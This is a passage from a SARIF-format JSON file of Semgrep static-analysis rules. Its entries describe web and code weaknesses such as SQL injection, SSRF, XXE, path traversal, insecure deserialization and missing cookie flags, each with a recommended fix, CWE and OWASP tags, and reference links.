CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-xml2json-xxe-event.express-xml2json-xxe-event"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-xpath-from-http-request-deepsemgrep.tainted-xpath-from-http-request-deepsemgrep)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-xpath-from-http-request-deepsemgrep.tainted-xpath-from-http-request-deepsemgrep","id":"java.servlets.security.tainted-xpath-from-http-request-deepsemgrep.tainted-xpath-from-http-request-deepsemgrep","name":"java.servlets.security.tainted-xpath-from-http-request-deepsemgrep.tainted-xpath-from-http-request-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-xpath-from-http-request-deepsemgrep.tainted-xpath-from-http-request-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead."},"help":{"markdown":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.aws-lambda.security.tainted-sqli.tainted-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead."},"helpUri":"https://semgrep.dev/r/java.aws-lambda.security.tainted-sqli.tainted-sqli","id":"java.aws-lambda.security.tainted-sqli.tainted-sqli","name":"java.aws-lambda.security.tainted-sqli.tainted-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.aws-lambda.security.tainted-sqli.tainted-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default session middleware settings: `httpOnly` not set. It ensures the cookie is sent only over HTTP(S), not client JavaScript, helping to protect against cross-site scripting attacks."},"help":{"markdown":"Default session middleware settings: `httpOnly` not set. It ensures the cookie is sent only over HTTP(S), not client JavaScript, helping to protect against cross-site scripting attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-httponly)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Default session middleware settings: `httpOnly` not set. It ensures the cookie is sent only over HTTP(S), not client JavaScript, helping to protect against cross-site scripting attacks."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-httponly","id":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-httponly","name":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-httponly","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-httponly"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an explicit unescape in a Mustache template, using triple braces '{{{...}}}' or ampersand '&'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location."},"help":{"markdown":"Detected an explicit unescape in a Mustache template, using triple braces '{{{...}}}' or ampersand '&'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.mustache.explicit-unescape.template-explicit-unescape)\n - [https://github.com/janl/mustache.js/#variables](https://github.com/janl/mustache.js/#variables)\n - [https://ractive.js.org/v0.x/0.7/mustaches#variables](https://ractive.js.org/v0.x/0.7/mustaches#variables)\n","text":"Detected an explicit unescape in a Mustache template, using triple braces '{{{...}}}' or ampersand '&'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.mustache.explicit-unescape.template-explicit-unescape","id":"javascript.express.security.audit.xss.mustache.explicit-unescape.template-explicit-unescape","name":"javascript.express.security.audit.xss.mustache.explicit-unescape.template-explicit-unescape","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.mustache.explicit-unescape.template-explicit-unescape"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.needle.ssrf.ssrf)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/javascript.express.needle.ssrf.ssrf","id":"javascript.express.needle.ssrf.ssrf","name":"javascript.express.needle.ssrf.ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.needle.ssrf.ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","id":"kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","name":"kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-httpx.tainted-flask-http-request-httpx)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-httpx.tainted-flask-http-request-httpx","id":"python.flask.net.tainted-flask-http-request-httpx.tainted-flask-http-request-httpx","name":"python.flask.net.tainted-flask-http-request-httpx.tainted-flask-http-request-httpx","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-httpx.tainted-flask-http-request-httpx"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-pillow-fastapi.tainted-path-traversal-pillow-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-pillow-fastapi.tainted-path-traversal-pillow-fastapi","id":"python.fastapi.file.tainted-path-traversal-pillow-fastapi.tainted-path-traversal-pillow-fastapi","name":"python.fastapi.file.tainted-path-traversal-pillow-fastapi.tainted-path-traversal-pillow-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-pillow-fastapi.tainted-path-traversal-pillow-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-dill-aws-lambda.tainted-dill-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pypi.org/project/dill/](https://pypi.org/project/dill/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-dill-aws-lambda.tainted-dill-aws-lambda","id":"python.aws-lambda.deserialization.tainted-dill-aws-lambda.tainted-dill-aws-lambda","name":"python.aws-lambda.deserialization.tainted-dill-aws-lambda.tainted-dill-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-dill-aws-lambda.tainted-dill-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By letting user input control `X-Frame-Options` header, there is a risk that software does not properly verify whether or not a browser should be allowed to render a page in an `iframe`."},"help":{"markdown":"By letting user input control `X-Frame-Options` header, there is a risk that software does not properly verify whether or not a browser should be allowed to render a page in an `iframe`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.x-frame-options-misconfiguration.x-frame-options-misconfiguration)\n - [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options)\n","text":"By letting user input control `X-Frame-Options` header, there is a risk that software does not properly verify whether or not a browser should be allowed to render a page in an `iframe`."},"helpUri":"https://semgrep.dev/r/javascript.express.security.x-frame-options-misconfiguration.x-frame-options-misconfiguration","id":"javascript.express.security.x-frame-options-misconfiguration.x-frame-options-misconfiguration","name":"javascript.express.security.x-frame-options-misconfiguration.x-frame-options-misconfiguration","properties":{"precision":"very-high","tags":["CWE-451: User Interface (UI) Misrepresentation of Critical Information","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.x-frame-options-misconfiguration.x-frame-options-misconfiguration"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, configuring both of the below also provides protection against XXE attacks. `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `praser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, configuring both of the below also provides protection against XXE attacks. `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `praser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxreader-xxe-servlet.tainted-saxreader-xxe-servlet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, configuring both of the below also provides protection against XXE attacks. `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `praser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxreader-xxe-servlet.tainted-saxreader-xxe-servlet","id":"java.servlets.security.xxe.tainted-saxreader-xxe-servlet.tainted-saxreader-xxe-servlet","name":"java.servlets.security.xxe.tainted-saxreader-xxe-servlet.tainted-saxreader-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-saxreader-xxe-servlet.tainted-saxreader-xxe-servlet"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.sql.sql-injection.sql-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.sql.sql-injection.sql-injection","id":"cpp.lang.security.sql.sql-injection.sql-injection","name":"cpp.lang.security.sql.sql-injection.sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.sql.sql-injection.sql-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a 'urllib.request.Request()' object using an insecure transport protocol, 'ftp://'. This connection will not be encrypted. Consider using SFTP instead. urllib does not support SFTP natively, so consider using a library which supports SFTP."},"help":{"markdown":"Detected a 'urllib.request.Request()' object using an insecure transport protocol, 'ftp://'. This connection will not be encrypted. Consider using SFTP instead. urllib does not support SFTP natively, so consider using a library which supports SFTP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-request-object-ftp.insecure-request-object-ftp)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.Request](https://docs.python.org/3/library/urllib.request.html#urllib.request.Request)\n","text":"Detected a 'urllib.request.Request()' object using an insecure transport protocol, 'ftp://'. This connection will not be encrypted. Consider using SFTP instead. urllib does not support SFTP natively, so consider using a library which supports SFTP."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-request-object-ftp.insecure-request-object-ftp","id":"python.lang.security.audit.insecure-transport.urllib.insecure-request-object-ftp.insecure-request-object-ftp","name":"python.lang.security.audit.insecure-transport.urllib.insecure-request-object-ftp.insecure-request-object-ftp","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-request-object-ftp.insecure-request-object-ftp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A session cookie was detected without setting the 'Secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'Secure' flag by setting 'Secure' to 'true' in the Options struct."},"help":{"markdown":"A session cookie was detected without setting the 'Secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'Secure' flag by setting 'Secure' to 'true' in the Options struct.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.cookie-missing-secure.cookie-missing-secure)\n - [https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/util/cookie.go](https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/util/cookie.go)\n - [https://golang.org/src/net/http/cookie.go](https://golang.org/src/net/http/cookie.go)\n","text":"A session cookie was detected without setting the 'Secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'Secure' flag by setting 'Secure' to 'true' in the Options struct."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.cookie-missing-secure.cookie-missing-secure","id":"go.lang.security.audit.net.cookie-missing-secure.cookie-missing-secure","name":"go.lang.security.audit.net.cookie-missing-secure.cookie-missing-secure","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.cookie-missing-secure.cookie-missing-secure"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Storing JWT tokens in localStorage known to be a bad practice, consider moving your tokens from localStorage to a HTTP cookie."},"help":{"markdown":"Storing JWT tokens in localStorage known to be a bad practice, consider moving your tokens from localStorage to a HTTP cookie.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.security.audit.react-jwt-in-localstorage.react-jwt-in-localstorage)\n - [https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies)\n","text":"Storing JWT tokens in localStorage known to be a bad 